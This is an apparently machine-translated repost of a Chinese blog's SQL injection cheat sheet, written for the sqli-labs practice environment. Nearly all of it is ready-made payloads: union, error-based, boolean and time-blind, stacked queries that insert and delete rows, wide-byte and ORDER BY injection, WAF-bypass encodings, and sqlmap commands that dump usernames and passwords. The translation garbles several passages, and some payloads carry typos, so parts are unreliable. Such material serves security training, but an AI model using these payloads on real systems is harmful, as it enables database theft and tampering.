SQLインジェクション文(詳細)

SQL インジェクションの原則

 

  1. ユーザー制御可能なパラメーター: フロントエンドからバックエンドに渡されるパラメーターの内容は、ユーザーが制御できます。

  2. パラメータはデータベース クエリに取り込まれます。渡されたパラメータは SQL ステートメントに結合され、データベース クエリに取り込まれます。

渡された id パラメータが 1' の場合、データベースによって実行されるコードは次のとおりです。

select * from users where id=1'

これはデータベース構文仕様に準拠していないため、エラーが報告されます。受信 ID のパラメータが 1=1 の場合、実行されるステートメントは次のようになります。

select * from users where id=1 and 1=1

1=1 は true であり、where ステートメントの id=1 も true であるため、ページは id=1 と同じ結果を返します。受信 ID パラメーターが and1=2 の場合、1=2 は true ではないため、false が返され、ページは id=1 とは異なる結果を返します。

1. 共同質問

1. 注入ポイントの決定

#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1   #页面运行正常
?id=1' and '1'='2   #页面运行不正常
#数字型判断 
?id=1' and 1=1 -- -  #页面运行正常
?id=1' and 1=2 -- -  #页面运行不正常
注入点注入符号 
引号型注入    '   单引号注入               "双引号注入
混合型注入    ')  单引号加括号注入   ")双引号加括号注入
括号注入      )     括号注入

デモは文字列インジェクションですが、異なる結果が返されることにより、この Web サイトには SQL インジェクションの脆弱性が存在する可能性があります。

2. クエリフィールド

?id=1' 
?id=1' order by 3
?id=1' order by 4

order by クエリデータテーブル内のフィールドの数

id=1' を 3 つずつアクセスした結果は id=1 と同じですが、id=1' を 4 つずつアクセスした結果は id=1 と異なります。

結論: フィールドの数は 3 です

3. エコーポイントを決定する

?id=-1' union select 1,2,3

フィールドの数に基づいてステートメントを構築し、エコーを決定します。

4.基本的なクエリ情報

#查询当前数据库
union select 1,database(),3   
#查询所有数据库
select group_concat(schema_name)  from  information_schema.schemata 
#查询指定数据库所有表数据
select group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#查询指定数据库指定表的指定列的字段值
select  group_concat(username,0x3a,password) from  security.users

2. エラー挿入

プログラムはエラー情報をページに入力し、エラー挿入を使用してデータを取得します。

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)  -- +

1.substr()関数

substr 関数を使用して出力コンテンツを部分的に読み取ります

substr("123456",1,5)   #12345

2. クエリ文

クエリ文はユニオンインジェクションと同じで、エラー報告時に表示される結果は 1 つだけです。

#获取 列的字段数
id=1' union select 1,2,3  #回显 you are in...
id=1' union select 1,2,3,4   
#回显 The used SELECT statements have a different number of columns     

#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)--+

3. ブールブラインド注入

1.length()関数

データベースの長さを決定します length()

' and length(database())>=1 --+

2.substr()関数

' and substr(database(),1,1)='t' -- +

3.ord()関数

ord() 関数: ASCII コードに変換

' ord(substr(database(),1,1))=115 -- +

4. クエリ文

#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114  -- +
and ascii(substr(database()1,1))=115  -- +
#查询表名
and substr((select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1 )='e'  -- +

4. タイムブラインド注入

GET インジェクションの場合、id 値自体は true であるため、and 演算子を使用してインジェクションポイントを決定します。

POST インジェクション uname 自体は false です。or 演算子を使用してインジェクション ポイントを決定します。

締め方を決める

and sleep(5)   -- -

判定フィールド数 3

order  by  3
order  by  4

if("式", 条件1, 条件2,) if(1=2,1,0)-->0

if(length(database())>=1,sleep(5),1)

1.sleep()遅延関数

sleep(5) #5 秒間のページ読み込み遅延

if(length(database())>=1,sleep(5),1)

2. クエリ文

#判断数据库名称
and if(length(database())=1,sleep(5),1)  -- - 
and if(length(database())=1,sleep(5),1)  -- - 
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1)  -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1)  -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns  where  table_schema='security'  and  table_name='8LPD9XiO'  limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and  if(ascii(substr((select  group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+

5.スタックインジェクション

';select if(substr(user(),1,1)='r',sleep(3),1)%23

さまざまな時間注入ステートメントを作成することで、完全なデータベース名、テーブル名、フィールド名、および特定のデータを取得できます。

1. クエリ文

#获得MySQL当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select  table_name  from  information_schema.tables  where  table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23

2. ジョイントインジェクションを使用する

#判断注入点  单引号注入
?id=1'  and 1=1-- - HTTP/1.1
?id=1'  and 1=2-- - HTTP/1.1
#判断字段数目  3
?id=1'  order by 3 -- - HTTP/1.1
?id=1'  order by 4 -- - HTTP/1.1  #Unknown column '4' in 'order clause'
#判断回显位  2,3
?id=-1'  union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1'  union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1'  union select 1,(select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1'  union select 1,(select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'),3 -- - HTTP/1.1

3. スタックインジェクションを使用してユーザーにデータを挿入します

#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等    ?id=67 
----------------------------------------
#插入查询所有表的所有数据,但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));

6. ワイドバイトインジェクション

1. クエリ文

#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量   3
id=1%df' order by 3%23
id=1%df' order by 4%23  #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database()) 
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select  1,(select group_concat(id,flag) from security.GGXSsnCj),3%23

7. 注文後の注射

①ステートメントを直接挿入、?sort=(select)

②一部の機能を使用します。たとえば、rand()関数などです。?sort=rand(SQL文)

③and を使用します。例:sort=1 and (SQL ステートメント)

④rand(true)とrand(false)の結果が異なるため、このプロパティを使用して注入することができます。

?sort=right(version(),1)

1. エラー挿入を使用する

#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))

2. rand(true) と rand(false) を使用します。

?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)

3. 遅延噴射を使用する

#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +

4. 使用および

#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)  -- +

重要なポイント: 一般的な Waf バイパス方法

1.ケースバイパス

そしてそしてまたはまたは

2.二重書き込みバイパス

選択 -----選択選択

そして-----そしてそして

ユニオン-----ユニオンニオン

3. エンコーディングバイパス

16 進エンコード、URL エンコード、ワイドバイト、Unicode エンコード

エンコード形式 エンコード形式
URLエンコード %66%72%20%31%3d%31(そして 1=1)
Unicode エンコーディング n%u0069on

4. スペースバイパス方式

/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d

5. 同等の文字と同等の機能

and or xor のフィルタリング

  1. そして => &&

  2. または => ||

  3. xor => ^

  4. ではありません => !

6. 同等の機能

hex()、bin()==>ascii()

concat_ws()==>group_concat()

sleep()==>ベンチマーク()

mid()、substr()==>substring()

@@user==user()

@datadir==datadir()

主なクエリステートメントを要約する

#爆当前数据库
select 1,database(),3   
#爆所有数据库
select  group_concat(schema_name)  from  information_schema.schemata 
#爆所有表数据
select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#爆部分表数据
select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#爆字段数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#爆字段值
select  group_concat(username,0x3a,password) from  security.users

SQLMAPツールの使用

ステップ 1: 注入ポイントがあるかどうかを判断する

sqlmap.py -u "http://localhost/sql/Less-1/?id=1"

 ステップ 2: データベースにクエリを実行する

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs

 ステップ 3: 現在のデータベースを表示する

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db

 ステップ 4: 指定したデータベース内のすべてのテーブルをリストする

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" --tables

ステップ 5: 指定されたテーブルのフィールド名を読み取る

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "セキュリティ" -T users --columms

 ステップ 6: 指定されたフィールドの内容を読み取る

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "セキュリティ" -T ユーザー -C ユーザー名、パスワード --dump

おすすめ

転載: blog.csdn.net/m0_64118193/article/details/125104102